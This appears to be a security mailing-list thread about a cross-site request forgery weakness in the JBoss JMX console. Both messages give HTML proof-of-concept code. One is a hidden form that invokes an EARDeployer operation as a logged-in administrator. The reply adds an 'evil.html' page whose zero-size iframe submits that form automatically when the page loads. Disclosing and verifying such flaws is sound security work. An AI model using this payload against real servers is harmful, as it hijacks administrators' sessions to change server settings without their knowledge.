Hey dude! What's the authentication mechanism used by JBoss console? A login HTML form, or HTTP basic auth? If it's the first one and cookies are used as session tokens your exploit should work (the web browser will submit the cookie to the target IP/domain when the evil page is visited). Although I haven't verified it, it should work as long as the requests are not tokenized with some dynamic random value. You might want to remove the submit button and make the form submitted automatically in the background by calling it from an iframe: <!-- start of evil.html --> <iframe src="./POST_request.html" height="0" width="0" frameborder="0"></iframe> <!-- end of evil.html --> <!-- start of POST_request.html --> <form method="post" name="evil" action="http://host:port/jmx-console/HtmlAdaptor";> <input type="hidden" name="action" value="invokeOp"> <input type="hidden" name="name" value="jboss.j2ee:service=EARDeployer"> <input type="hidden" name="methodIndex" value="0"> </form> <script>document.evil.submit();</script> <!-- end of POST_request.html --> You might be interested in the following posts that discuss CSRF hacking techniques: http://www.gnucitizen.org/blog/csrf-ing-blogger-classic http://www.gnucitizen.org/blog/cross-site-request-forgery/ Can anyone verify this CSRF issue?

Hello! Recent message about JBoss's console made me looking at that interface again and it seems that it is vulnerable for the CRSF attacks. MBean settings may be changed and operations may be invoked on behalf of the authenticated administrator by the hidden submitting form like follows: <form method="post" action="http://host:port/jmx-console/HtmlAdaptor";> <input type="hidden" name="action" value="invokeOp"> <input type="hidden" name="name" value="jboss.j2ee:service=EARDeployer"> <input type="hidden" name="methodIndex" value="0"> <input type="submit" value="Invoke"> </form> Please, correct me, if I'm wrong.
